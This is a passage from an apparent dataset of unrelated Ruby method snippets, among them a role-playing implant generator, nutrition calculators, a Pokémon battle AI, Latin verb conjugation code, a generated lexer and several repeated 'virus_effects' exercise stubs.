=> 1, :range => 0, :damage => 0, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\\n when 11..14\\n @@implants << \\\"Hypodermic Tendril ~\\\"\\n @@attacks << {:attack_mode => \\\"Punch\\\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\\n when 15..18\\n @@implants << \\\"Manipulator Tendril ~\\\"\\n @@attacks << {:attack_mode => \\\"Punch\\\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\\n when 19..24\\n @@implants << \\\"Pincer ~\\\"\\n @@attacks << {:attack_mode => \\\"Punch\\\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\\n when 25..30\\n @@implants << \\\"Power Arm ~\\\"\\n @@attacks << {:attack_mode => \\\"Punch\\\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\\n when 31..36\\n @@implants << \\\"Retractable Laser Pistol ~\\\"\\n @@attacks << {:attack_mode => \\\"Punch\\\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\\n when 37..39\\n @@implants << \\\"Shoulder Turret\\\"\\n @@attacks = {:attack_mode => \\\"Punch\\\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\\n when 40..45\\n @@implants << \\\"Telescoping Thrust Blade\\\"\\n @@attacks = {:attack_mode => \\\"Thrust Blade Implant\\\", :SV => \\\"+60/+8\\\", :rate => 1, :range => \\\"2m\\\", :damage => \\\"d20+10\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"92\\\", :notes => \\\"+60SV and +5 initiative to first attack per combat, +8SV after\\\"}\\n when 46..50\\n @@implants << \\\"Tentacle ~\\\"\\n @@attacks = {:attack_mode => \\\"Tentacle Implant\\\", :SV => \\\"+10\\\", :rate => 1, :range => \\\"3m\\\", :damage => \\\"d12 + 4 stun or lethal\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"92\\\", :notes => \\\"Tentacle has DV -20, END 20\\\"}\\n @@appearance = [@@appearance - (d(6)+3), 1].max\\n when 51..100\\n weapon_arm_roll(d(100))\\n\\n end\\n end\\n\\n def defensive_implants_results(roll)\\n case roll\\n when 1..8\\n @@implants << \\\"Anti Toxin Array **\\\"\\n when 9..48\\n @@implants << \\\"Armor Enhancement ~\\\"\\n when 49..55\\n @@implants << \\\"Electrical Defense Mechanism\\\"\\n when 56..59\\n @@implants << \\\"Energy Absorption Cell\\\"\\n when 60..73\\n @@implants << \\\"Force Field Generator\\\"\\n when 74..79\\n @@implants << \\\"Force Shield\\\"\\n when 80..84\\n @@implants << \\\"Mental Defense Screen\\\"\\n when 85..87\\n @@implants << \\\"Optical Concealment Generator\\\"\\n when 88..92\\n @@implants << \\\"Radiation Leeching Unit\\\"\\n when 93..95\\n @@implants << \\\"Smoke Screen Generator\\\"\\n when 96..97\\n @@implants << \\\"Sonic Defense Screen\\\"\\n when 98..100\\n @@implants << \\\"Stun Inhibitor Device\\\"\\n end\\n end\\n\\n def misc_implants_results(roll)\\n case roll\\n when 1..7\\n @@implants << \\\"Artificial Heart **\\\"\\n when 8..13\\n @@implants << \\\"Atmospheric Hydro Converter\\\"\\n when 14..18\\n @@implants << \\\"Back-Up Sensor Array\\\"\\n when 19..23\\n @@implants << \\\"Communication Implant ~\\\"\\n when 24..27\\n @@implants << \\\"Computerized Brain\\\"\\n when 28..30\\n @@implants << \\\"Cybernetic Legs\\\"\\n when 31..33\\n @@implants << \\\"Detachable Lower Arm\\\"\\n when 34..36\\n @@implants << \\\"Floodlight Orb\\\"\\n when 37..41\\n @@implants << \\\"Grappling Hook\\\"\\n when 42..46\\n @@implants << \\\"Hover Jets\\\"\\n when 47..51\\n @@implants << \\\"Hydraulic Walker Legs\\\"\\n when 52..54\\n @@implants << \\\"Internal Gyroscope\\\"\\n when 55..58\\n @@implants << \\\"Internal Healer Drones\\\"\\n when 59..61\\n @@implants << \\\"Internal Nutriment Supply\\\"\\n when 62..64\\n @@implants << \\\"Iron Stomach\\\"\\n when 65..67\\n @@implants << \\\"Loudspeaker\\\"\\n when 68..69\\n @@implants << \\\"Mini-Robotics Hanger\\\"\\n when 70..79\\n @@implants << \\\"Optical Enhancement ~\\\"\\n when 80..83\\n @@implants << \\\" Oxygen Supply Unit\\\"\\n when 84..86\\n @@implants << \\\"Panoramic Optics Node\\\"\\n when 87..89\\n @@implants << \\\"Portable Computer Station\\\"\\n when 90..91\\n @@implants << \\\"Radio Scanner\\\"\\n when 92..93\\n @@implants << \\\"Self Destruct Mode\\\"\\n when 94..95\\n @@implants << \\\"Sensor Probe Launcher\\\"\\n when 96..97\\n @@implants << \\\"Solar Power Generator\\\"\\n when 98\\n @@implants << \\\"Surveillance Tendril ~\\\"\\n when 99..100\\n @@implants << \\\"Tracked Locomotion\\\"\\n end\\n end\\n\\n off_implants.times do\\n offensive_implants_results(d(100))\\n end\\n\\n def_implants.times do\\n defensive_implants_results(d(100))\\n end\\n\\n misc_implants.times do\\n misc_implants_results(d(100))\\n end\\n end\",\n \"def huella_nutricional\\n\\t\\tif( (indice_impacto == 1) && (vct < 670) && (suma_gramos < 800))\\n\\t\\t\\thuella_nutricional = 'Bajo'\\n\\t\\telsif( (indice_impacto == 2) && ((vct > 670) || (vct < 830)) && ((suma_gramos > 800) || (suma_gramos < 1200)))\\n\\t\\t\\thuella_nutricional = 'Regular'\\n\\t\\telsif( ( indice_impacto == 3) && (vct > 830 ) && (suma_gramos > 1200))\\n\\t\\t\\thuella_nutricional = 'Alta'\\n\\t\\tend\\n\\t\\t\\treturn huella_nutricional\\n\\t\\tend\",\n \"def process_ia(pokemon)\\n if !$game_temp.trainer_battle and $wild_battle.is_roaming?(pokemon) and BattleEngine::_can_switch(get_pokemon(pokemon))\\n return _stack_add_flee(pokemon: pokemon)#@results<<[3, pokemon, :roaming]\\n end\\n skill = nil\\n skills_set = pokemon.skills_set\\n be = pokemon.battle_effect\\n i = 0\\n j = 0\\n ia_results = []\\n #> Moulinette dans les skills\\n 4.times do |i|\\n skill = skills_set[i]\\n break unless skill\\n #> Entrave\\n if(be.has_disable_effect? and skill.id == be.disable_skill_id)\\n puts \\\"#{skill} sous entrave\\\"\\n next\\n end\\n pokemon = get_pokemon(pokemon)\\n #> Moulinette dans les cibles\\n if $game_temp.vs_type == 1\\n if skill.target == :user or skill.target == :user_or_adjacent_ally or skill.target == :all_ally\\n ia_results << skill_heuristic_calculation(pokemon, pokemon, skill, i)\\n else\\n ia_results << skill_heuristic_calculation(pokemon, @actors[0], skill, i)\\n end\\n else\\n targets = util_targetselection_get_possible(pokemon, skill)\\n unless targets\\n if skill.target == :user\\n ia_results << skill_heuristic_calculation(pokemon, pokemon, skill, i)\\n next\\n else\\n case skill.target\\n when :adjacent_all_foe # e! e! ex / ux ax ax\\n targets = util_targetselection_adjacent_foe(pokemon)\\n when :all_foe # e! e! e! / ux ax ax\\n targets = ::BattleEngine.get_enemies!(pokemon)\\n when :adjacent_all_pokemon # e! e! ex / ux a! ax\\n targets = util_targetselection_adjacent_pokemon(pokemon)\\n when :all_ally # ex ex ex / u! a! a!\\n targets = ::BattleEngine.get_ally!(pokemon)\\n else\\n targets = ::BattleEngine.get_enemies!(pokemon)\\n end\\n end\\n end\\n targets.each do |target|\\n ia_results << skill_heuristic_calculation(pokemon, target, skill, i)\\n end\\n end\\n=begin\\n $game_temp.vs_type.times do |j|\\n if(@actors[j] and @actors[j].hp > 0)\\n ia_results << skill_heuristic_calculation(pokemon, @actors[j], skill, i)\\n end\\n end\\n=end\\n end\\n ia_results.sort! do |a,b|\\n b[:value] <=> a[:value]\\n end\\n result = ia_results[0]\\n if (result[:damage].to_i < pokemon.max_hp / 4) or (pokemon.hp_rate < 0.25) or !result[:faster]\\n return if check_switch(get_pokemon(pokemon))\\n return if check_item_heal(get_pokemon(pokemon))\\n end\\n return if result[:value] <= 0 and try_switch(pokemon)\\n\\n result = ia_results[rand(ia_results.size).to_i] if result[:value] <= 0\\n if(result[:skill])\\n if result[:skill_data].is_no_choice_skill? #> Pas de choix de cible\\n _stack_add_attack(\\n skill_index: result[:skill],\\n target_list: util_targetselection_automatic(pokemon,result[:skill_data]),\\n launcher: pokemon\\n )\\n #@results<<[0, result[:skill], util_targetselection_automatic(pokemon,result[:skill_data]), pokemon]\\n else\\n _stack_add_attack(\\n skill_index: result[:skill],\\n target_list: [result[:target] < 0 ? @actors[-result[:target]-1] : @enemies[result[:target]]],\\n launcher: pokemon\\n )\\n #@results<<[0, result[:skill], [result[:target] < 0 ? @actors[-result[:target]-1] : @enemies[result[:target]]], pokemon]\\n end\\n else\\n\\n end\\n end\",\n \"def romeo_and_juliet_quote\\n sample(romeo_and_juliet)\\n end\",\n \"def scabrous_sphenophyllaceae_fogdog(metastable, meio, unawakenedness_notably)\\n redry_manifoldwise_photoactive()\\n spongiae(internuncius)\\n radialization?(lealness_pratiloma)\\n end\",\n \"def biomagnetism_doughface_sissiness(avignonese_antrorsely)\\n end\",\n \"def get_adjective\\n\\t\\t[\\\"pretty\\\", \\\"ugly\\\", \\\"hideous\\\"].sample\\n\\tend\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def no_learn\\n 8\\n end\",\n \"def passive_voice_indicative_mood_present_tense\\n end\",\n \"def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)\\n unsuckled_catsup(apterygota, unfightable_phoneticist)\\n end\",\n \"def indefinite_personal_subjective_pronoun\\n return \\\"it\\\"\\n end\",\n \"def probono\\n find_worldwide_by_permalink_and_active(\\n 'luleka', true, :include => :piggy_bank)\\n end\",\n \"def passive_voice_subjunctive_mood_present_tense\\n end\",\n \"def huella_nutricional\\n ((get_impacto_energia + get_impacto_gei)/2).ceil(2)\\n end\",\n \"def virus_effects\\n predicted_deaths \\n speed_of_spread \\n end\",\n \"def virus_effects\\n predicted_deaths \\n speed_of_spread \\n end\",\n \"def dominant_octopus(the_sea)\\n\\nend\",\n \"def hypothesis5(countsXmajor) \\n\\tcriteria = 0\\n\\tphotoeuks = 0\\n\\tnonPhotoeuks = 0\\n\\tphotoeuks += 1 if countsXmajor['Sr'] >= 0.25\\n\\tphotoeuks += 1 if countsXmajor['Pl'] >= 0.25\\n\\tphotoeuks += 1 if countsXmajor['EE'] >= 0.25\\n\\tnonPhotoeuks += 1 if countsXmajor['Op'] >= 0.25\\n\\tnonPhotoeuks += 1 if countsXmajor['Am'] >= 0.25\\n\\tnonPhotoeuks += 1 if countsXmajor['Ex'] >= 0.25\\t\\t\\n\\tcriteria += 1 if countsXmajor['Ba'] >= 0\\n\\tcriteria += 1 if countsXmajor['Za'] < 0.25\\n\\tcriteria += 1 if photoeuks == 3\\n\\tcriteria += 1 if nonPhotoeuks == 0\\n\\tif criteria == 4\\n\\t\\treturn 1\\n\\telse\\n\\t\\treturn 0 \\n\\tend\\nend\",\n \"def active_voice_subjunctive_mood_perfect_tense\\n asp_base =\\n first_person_perfect[0..first_person_perfect.length-2] +\\n \\\"erī\\\"\\n TenseBlock.new(\\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\\n asp_base + ending\\n end,\\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\\n )\\n end\",\n \"def gunfire_nominee(peridiastolic_proctor, scabland_shakenly, hypoalimentation_ensweep)\\n petricola_foraminifer(henry_speculatrix, underwrite)\\n laconic_cagayan_swarty(semitaur_documentize, papilionaceous)\\n end\",\n \"def principes(circumagitate_starosta, sabuline, jointuress_ritualist)\\n magnetogram_preaccumulate_innovant(antisiphonal)\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n @hygiene\\n end\",\n \"def tricipital \\n\\t\\t(@tricipital[0] + @tricipital[1] + @tricipital[2])/3\\n\\tend\",\n \"def passive_voice_indicative_mood_future_tense\\n end\",\n \"def virus_effects\\n predicted_deaths \\n speed_of_spread\\n end\",\n \"def cigaret_tar\\n Unitwise(0.00001, 'kilogram')\\n end\",\n \"def parse_ictv_hpv(asked_gene)\\n #get\\n url = 'http://phene.cpmc.columbia.edu/Ictv/fs_papil.htm#Genus01'\\n #The URL should not contain illegeal characters. Hence the query parameter which, in many cases,\\n #will be accepted as user input, needs to be encoded using the URI.encode method.\\n #url = \\\"http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=YahooDemo&query=#{URI.encode(\\\"premshree pillai\\\")}&results=1\\\"\\n begin\\n resp = Net::HTTP.get_response(URI.parse(url)) # get_response takes an URI object\\n\\n\\n\\n rescue Exception => e\\n puts 'Connection error: ' + e.message\\n end\\n\\n #parsing de la page web\\n hpv_types_acces = {}\\n\\n txt= resp.body\\n #print resp.to_s + \\\"\\\\n\\\"\\n\\n txt.each { |line|\\n matched = /\\\\[(.*)\\\\].*\\\\((HPV-.*)\\\\)/.match(line).to_s\\n if matched !=''\\n accession = $1\\n hpv_type = $2\\n #puts \\\"----------> #{line}\\\"\\n\\n hpv_types_acces[hpv_type]=accession unless /^NC_/ =~ hpv_types_acces[hpv_type]\\n\\n puts \\\"#{accession}:#{hpv_type}\\\"\\n\\n\\n end\\n\\n \\n }\\n\\n puts hpv_types_acces.inspect\\n\\n # Retrieve the sequence of accession number M33388 from the EMBL\\n # database.\\n #server = Bio::Fetch.new() #uses default server\\n #puts server.fetch('embl','M33388')\\n\\n # Do the same thing without creating a Bio::Fetch object. This method always\\n # uses the default dbfetch server: http://bioruby.org/cgi-bin/biofetch.rb\\n #puts Bio::Fetch.query('embl','M33388')\\n\\n # To know what databases are available on the bioruby dbfetch server:\\n #server = Bio::Fetch.new()\\n #puts server.databases\\n\\n # Some databases provide their data in different formats (e.g. 'fasta',\\n # 'genbank' or 'embl'). To check which formats are supported by a given\\n # database:\\n #puts '-----------------'\\n #puts server.formats('embl')\\n\\n ncbi = Bio::NCBI::REST.new\\n Bio::NCBI.default_email=('dunarel@gmail.com')\\n\\n #recuperate proteins\\n hpv_types_prot_seq = {}\\n\\n hpv_types_acces.each_pair { |name, val|\\n #val = hpv_types_acces['HPV-41']\\n #val = hpv_types_acces['HPV-81']\\n # entry is a string containing only one entry contents\\n entry = ncbi.efetch(val, {\\\"db\\\"=>\\\"nucleotide\\\", \\\"rettype\\\"=>\\\"gb\\\", \\\"retmode\\\" => \\\"text\\\"})\\n gb = Bio::GenBank.new(entry)\\n\\n gb.each_cds() {|feature|\\n gene = ''\\n product = ''\\n translation = ''\\n note = ''\\n debut = ''\\n fin = ''\\n matched =''\\n\\n feature.each do |qualifier|\\n if qualifier.qualifier == 'product'\\n #puts \\\"- \\\" + qualifier.qualifier\\n product= qualifier.value\\n\\n end\\n\\n if qualifier.qualifier == 'gene'\\n gene= qualifier.value\\n end\\n\\n if qualifier.qualifier == 'note'\\n note= qualifier.value\\n end\\n\\n if qualifier.qualifier == 'translation'\\n translation = qualifier.value\\n end\\n end\\n\\n #puts \\\"product: #{product}, gene: #{gene}, note: #{note}, translation: #{translation}\\\"\\n\\n matched = /[ELXYZ]\\\\d?\\\\w?/.match(gene).to_s\\n\\n if matched == ''\\n matched = /[ELXYZ]\\\\d?\\\\w?/.match(product).to_s\\n end\\n\\n matched = /[ELXYZ]\\\\d?\\\\w?/.match(note).to_s if matched == ''\\n\\n matched.capitalize()\\n\\n\\n\\n position = case feature.position\\n when /join\\\\((\\\\d+).*\\\\.\\\\.(\\\\d+)\\\\)/ then $1 +'..' + $2\\n else feature.position\\n end\\n\\n\\n\\n debut = position.split(\\\"..\\\")[0]\\n debut = debut.gsub('<','')\\n\\n fin = position.split(\\\"..\\\")[1]\\n fin = fin.gsub('>','')\\n\\n if matched == asked_gene\\n puts \\\" #{val} \\\\t#{debut}:#{fin} \\\\t gene:#{gene} \\\\t product:#{product} \\\\t note:#{note} \\\\t matched#{matched} \\\\t #{translation}\\\"\\n\\n hpv_types_prot_seq[name]=translation\\n end\\n\\n\\n }\\n\\n }\\n #ncbi.efetch(\\\"J00231\\\", {\\\"db\\\"=>\\\"nuccore\\\", \\\"rettype\\\"=>\\\"gb\\\", \\\"retmode\\\"=>\\\"xml\\\"})\\n #ncbi.efetch(\\\"AAA52805\\\", {\\\"db\\\"=>\\\"protein\\\", \\\"rettype\\\"=>\\\"gb\\\"})\\n\\n return hpv_types_prot_seq\\n\\n end\",\n \"def hypothesis4(countsXmajor) \\n\\tcriteria = 0\\n\\tphotoeuks = 0\\n\\tnonPhotoeuks = 0\\n\\tphotoeuks += 1 if countsXmajor['Sr'] >= 0.25\\n\\tphotoeuks += 1 if countsXmajor['Pl'] >= 0.25\\n\\tphotoeuks += 1 if countsXmajor['EE'] >= 0.25\\n\\tnonPhotoeuks += 1 if countsXmajor['Op'] >= 0.25\\n\\tnonPhotoeuks += 1 if countsXmajor['Am'] >= 0.25\\n\\tnonPhotoeuks += 1 if countsXmajor['Ex'] >= 0.25\\t\\t\\n\\tcriteria += 1 if countsXmajor['Ba'] >= 0\\n\\tcriteria += 1 if countsXmajor['Za'] < 0.25\\n\\tcriteria += 1 if photoeuks >= 2\\n\\tcriteria += 1 if nonPhotoeuks == 0\\n\\tif criteria == 4\\n\\t\\treturn 1\\n\\telse\\n\\t\\treturn 0 \\n\\tend\\nend\",\n \"def preprovide_saily_kainsi(akamatsu_demoniacally)\\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)\\n lid_polytonalism(pneumoenteritis_ribby)\\n pricklefish(overdraft, phleboplasty_poleaxe)\\n end\",\n \"def kids_musical; end\",\n \"def deponent_imperative_mutations # :nodoc:\\n self.singleton_class.class_eval do\\n def active_voice_imperative_mood_present_tense_second_person_singular_number\\n return @proxyVerb.instance_variable_get '@present_active_infinitive'\\n end\\n def active_voice_imperative_mood_present_tense_second_person_plural_number\\n return @proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\\n end\\n def active_voice_imperative_mood_future_tense_second_person_singular_number\\n k=@proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\\n k.sub!(/minī$/, '')\\n k += 'tor'\\n Linguistics::Latin::Phonographia.fix_macrons k\\n end\\n end\\n end\",\n \"def lower_opinion_penalties!\\n patch_mod_file!(\\\"common/opinion_modifiers/00_opinion_modifiers.txt\\\") do |node|\\n modify_node! node,\\n [\\\"pirated_us\\\", \\\"min\\\", -100, -25],\\n [\\\"converted_our_culture\\\", \\\"opinion\\\", -30, -5],\\n [\\\"converted_our_culture\\\", \\\"min\\\", nil, -100],\\n [\\\"violated_tordesillas\\\", \\\"min\\\", nil, -50],\\n [\\\"opinion_unlawful_territory\\\", \\\"min\\\", nil, -50]\\n end\\n end\",\n \"def token!\\n # at line 1:8: ( AMP | AMP_ASGN | GEQ | AND | GET | GREATER | HAT | HAT_ASGN | QMARK | ARROW | RBRACE | ASGN | IF | RBRACK | IN | BL_END | INCR | BREAK | INSTANCEOF | RETURN | IS_DEFINED | RPAREN | CASE | RSHIFT | CATCH | RSHIFT3 | COLON | LBRACE | RSHIFT3_ASGN | COMMA | LBRACK | RSHIFT_ASGN | LEQ | SEMI | CONST | LESS | SET | CONTINUE | LET | DECR | LPAREN | DEFAULT | LSHIFT | STAR | DELETE | LSHIFT_ASGN | STAR_ASGN | MACRO | SWITCH | MINUS | THIS | DO | MINUS_ASGN | THROW | DOT | TILDE | TRUE | NEQ | TRY | NEQQ | TYPEOF | NEW | EACH | NOT | UNDEFINED | ELSE | NULL | UNLESS | EQ | UNTIL | EQQ | OR | FALSE | OR_ASGN | VAR | FINALLY | VOID | FOR | PIPE | WHILE | PIPE_ASGN | WITH | FUNCTION | PLUS | YIELD | PLUS_ASGN | IS_UNDEFINED | POUND | DEF | CLASS_DEF | OBJECT_DEF | T__148 | T__149 | T__150 | MOD | SLASH | DOC | STRING | NUMBER | NEWLINE | IVAR | ID | WS | EJS )\\n alt_72 = 104\\n alt_72 = @dfa72.predict( @input )\\n case alt_72\\n when 1\\n # at line 1:10: AMP\\n amp!\\n\\n when 2\\n # at line 1:14: AMP_ASGN\\n amp_asgn!\\n\\n when 3\\n # at line 1:23: GEQ\\n geq!\\n\\n when 4\\n # at line 1:27: AND\\n and!\\n\\n when 5\\n # at line 1:31: GET\\n get!\\n\\n when 6\\n # at line 1:35: GREATER\\n greater!\\n\\n when 7\\n # at line 1:43: HAT\\n hat!\\n\\n when 8\\n # at line 1:47: HAT_ASGN\\n hat_asgn!\\n\\n when 9\\n # at line 1:56: QMARK\\n qmark!\\n\\n when 10\\n # at line 1:62: ARROW\\n arrow!\\n\\n when 11\\n # at line 1:68: RBRACE\\n rbrace!\\n\\n when 12\\n # at line 1:75: ASGN\\n asgn!\\n\\n when 13\\n # at line 1:80: IF\\n if!\\n\\n when 14\\n # at line 1:83: RBRACK\\n rbrack!\\n\\n when 15\\n # at line 1:90: IN\\n in!\\n\\n when 16\\n # at line 1:93: BL_END\\n bl_end!\\n\\n when 17\\n # at line 1:100: INCR\\n incr!\\n\\n when 18\\n # at line 1:105: BREAK\\n break!\\n\\n when 19\\n # at line 1:111: INSTANCEOF\\n instanceof!\\n\\n when 20\\n # at line 1:122: RETURN\\n return!\\n\\n when 21\\n # at line 1:129: IS_DEFINED\\n is_defined!\\n\\n when 22\\n # at line 1:140: RPAREN\\n rparen!\\n\\n when 23\\n # at line 1:147: CASE\\n case!\\n\\n when 24\\n # at line 1:152: RSHIFT\\n rshift!\\n\\n when 25\\n # at line 1:159: CATCH\\n catch!\\n\\n when 26\\n # at line 1:165: RSHIFT3\\n rshift_3!\\n\\n when 27\\n # at line 1:173: COLON\\n colon!\\n\\n when 28\\n # at line 1:179: LBRACE\\n lbrace!\\n\\n when 29\\n # at line 1:186: RSHIFT3_ASGN\\n rshift_3_asgn!\\n\\n when 30\\n # at line 1:199: COMMA\\n comma!\\n\\n when 31\\n # at line 1:205: LBRACK\\n lbrack!\\n\\n when 32\\n # at line 1:212: RSHIFT_ASGN\\n rshift_asgn!\\n\\n when 33\\n # at line 1:224: LEQ\\n leq!\\n\\n when 34\\n # at line 1:228: SEMI\\n semi!\\n\\n when 35\\n # at line 1:233: CONST\\n const!\\n\\n when 36\\n # at line 1:239: LESS\\n less!\\n\\n when 37\\n # at line 1:244: SET\\n set!\\n\\n when 38\\n # at line 1:248: CONTINUE\\n continue!\\n\\n when 39\\n # at line 1:257: LET\\n let!\\n\\n when 40\\n # at line 1:261: DECR\\n decr!\\n\\n when 41\\n # at line 1:266: LPAREN\\n lparen!\\n\\n when 42\\n # at line 1:273: DEFAULT\\n default!\\n\\n when 43\\n # at line 1:281: LSHIFT\\n lshift!\\n\\n when 44\\n # at line 1:288: STAR\\n star!\\n\\n when 45\\n # at line 1:293: DELETE\\n delete!\\n\\n when 46\\n # at line 1:300: LSHIFT_ASGN\\n lshift_asgn!\\n\\n when 47\\n # at line 1:312: STAR_ASGN\\n star_asgn!\\n\\n when 48\\n # at line 1:322: MACRO\\n macro!\\n\\n when 49\\n # at line 1:328: SWITCH\\n switch!\\n\\n when 50\\n # at line 1:335: MINUS\\n minus!\\n\\n when 51\\n # at line 1:341: THIS\\n this!\\n\\n when 52\\n # at line 1:346: DO\\n do!\\n\\n when 53\\n # at line 1:349: MINUS_ASGN\\n minus_asgn!\\n\\n when 54\\n # at line 1:360: THROW\\n throw!\\n\\n when 55\\n # at line 1:366: DOT\\n dot!\\n\\n when 56\\n # at line 1:370: TILDE\\n tilde!\\n\\n when 57\\n # at line 1:376: TRUE\\n true!\\n\\n when 58\\n # at line 1:381: NEQ\\n neq!\\n\\n when 59\\n # at line 1:385: TRY\\n try!\\n\\n when 60\\n # at line 1:389: NEQQ\\n neqq!\\n\\n when 61\\n # at line 1:394: TYPEOF\\n typeof!\\n\\n when 62\\n # at line 1:401: NEW\\n new!\\n\\n when 63\\n # at line 1:405: EACH\\n each!\\n\\n when 64\\n # at line 1:410: NOT\\n not!\\n\\n when 65\\n # at line 1:414: UNDEFINED\\n undefined!\\n\\n when 66\\n # at line 1:424: ELSE\\n else!\\n\\n when 67\\n # at line 1:429: NULL\\n null!\\n\\n when 68\\n # at line 1:434: UNLESS\\n unless!\\n\\n when 69\\n # at line 1:441: EQ\\n eq!\\n\\n when 70\\n # at line 1:444: UNTIL\\n until!\\n\\n when 71\\n # at line 1:450: EQQ\\n eqq!\\n\\n when 72\\n # at line 1:454: OR\\n or!\\n\\n when 73\\n # at line 1:457: FALSE\\n false!\\n\\n when 74\\n # at line 1:463: OR_ASGN\\n or_asgn!\\n\\n when 75\\n # at line 1:471: VAR\\n var!\\n\\n when 76\\n # at line 1:475: FINALLY\\n finally!\\n\\n when 77\\n # at line 1:483: VOID\\n void!\\n\\n when 78\\n # at line 1:488: FOR\\n for!\\n\\n when 79\\n # at line 1:492: PIPE\\n pipe!\\n\\n when 80\\n # at line 1:497: WHILE\\n while!\\n\\n when 81\\n # at line 1:503: PIPE_ASGN\\n pipe_asgn!\\n\\n when 82\\n # at line 1:513: WITH\\n with!\\n\\n when 83\\n # at line 1:518: FUNCTION\\n function!\\n\\n when 84\\n # at line 1:527: PLUS\\n plus!\\n\\n when 85\\n # at line 1:532: YIELD\\n yield!\\n\\n when 86\\n # at line 1:538: PLUS_ASGN\\n plus_asgn!\\n\\n when 87\\n # at line 1:548: IS_UNDEFINED\\n is_undefined!\\n\\n when 88\\n # at line 1:561: POUND\\n pound!\\n\\n when 89\\n # at line 1:567: DEF\\n def!\\n\\n when 90\\n # at line 1:571: CLASS_DEF\\n class_def!\\n\\n when 91\\n # at line 1:581: OBJECT_DEF\\n object_def!\\n\\n when 92\\n # at line 1:592: T__148\\n t__148!\\n\\n when 93\\n # at line 1:599: T__149\\n t__149!\\n\\n when 94\\n # at line 1:606: T__150\\n t__150!\\n\\n when 95\\n # at line 1:613: MOD\\n mod!\\n\\n when 96\\n # at line 1:617: SLASH\\n slash!\\n\\n when 97\\n # at line 1:623: DOC\\n doc!\\n\\n when 98\\n # at line 1:627: STRING\\n string!\\n\\n when 99\\n # at line 1:634: NUMBER\\n number!\\n\\n when 100\\n # at line 1:641: NEWLINE\\n newline!\\n\\n when 101\\n # at line 1:649: IVAR\\n ivar!\\n\\n when 102\\n # at line 1:654: ID\\n id!\\n\\n when 103\\n # at line 1:657: WS\\n ws!\\n\\n when 104\\n # at line 1:660: EJS\\n ejs!\\n\\n end\\n end\",\n \"def techno_percussion len\\n self << len.Dist # bass drum\\n mapee_last.clear_hits\\n mapee_last << 4.eqly_spaced\\n # max len is full, min quarter\\n h_num = mapee_last.hits.count\\n h_num = 1 if h_num == 0\\n mapee_last.length= rand_range(len*0.666/h_num, len*0.11/h_num) \\n\\n self << len.Dist # snare\\n mapee_last.clear_hits\\n mapee_last << [0.25,0.75]\\n h_num = mapee_last.hits.count\\n h_num = 1 if h_num == 0\\n mapee_last.length= rand_range(len/h_num, len/h_num/2) \\n \\n self << len.Dist # hi\\n mapee_last.clear_hits\\n mapee_last << 4.eqly_spaced\\n mapee_last.hits.move(0.125) # offbeats\\n h_num = mapee_last.hits.count\\n h_num = 1 if h_num == 0\\n mapee_last.length= rand_range(len*0.666/h_num, len*0.666/h_num/2) \\n \\n self\\n end\",\n \"def indefinite_reflexive_pronoun\\n return \\\"itself\\\"\\n end\",\n \"def afue_to_thermal_eff(afue)\\n \\n return afue # Per PNNL doc, Boiler Addendum 90.1-04an\\n \\nend\",\n \"def virus_effects \\n predicted_deaths \\n speed_of_spread\\n end\",\n \"def virus_effects\\n speed_of_spread\\n predicted_deaths\\n end\",\n \"def cigaret_nicotin\\n Unitwise(0.000001, 'kilogram')\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\nend\",\n \"def sv_missing_etymology\\n true # see Protonym\\n end\",\n \"def passive_voice_subjunctive_mood_perfect_tense\\n counter = -1\\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\\n counter += 1\\n (counter <=2 ?\\n \\\"[ #{triplicate_and_genderize passive_perfect_participle} ]\\\" :\\n \\\"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\\\" )+ \\\" \\\" + ending\\n end,\\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\\n )\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def huella_nutricional\\n numero1 = self.calculo_valor_calorico_total\\n numero2 = self.calculo_emisiones_diarias\\n\\n if numero1 < 670\\n ienergia = 1\\n elsif numero1 <=830\\n ienergia = 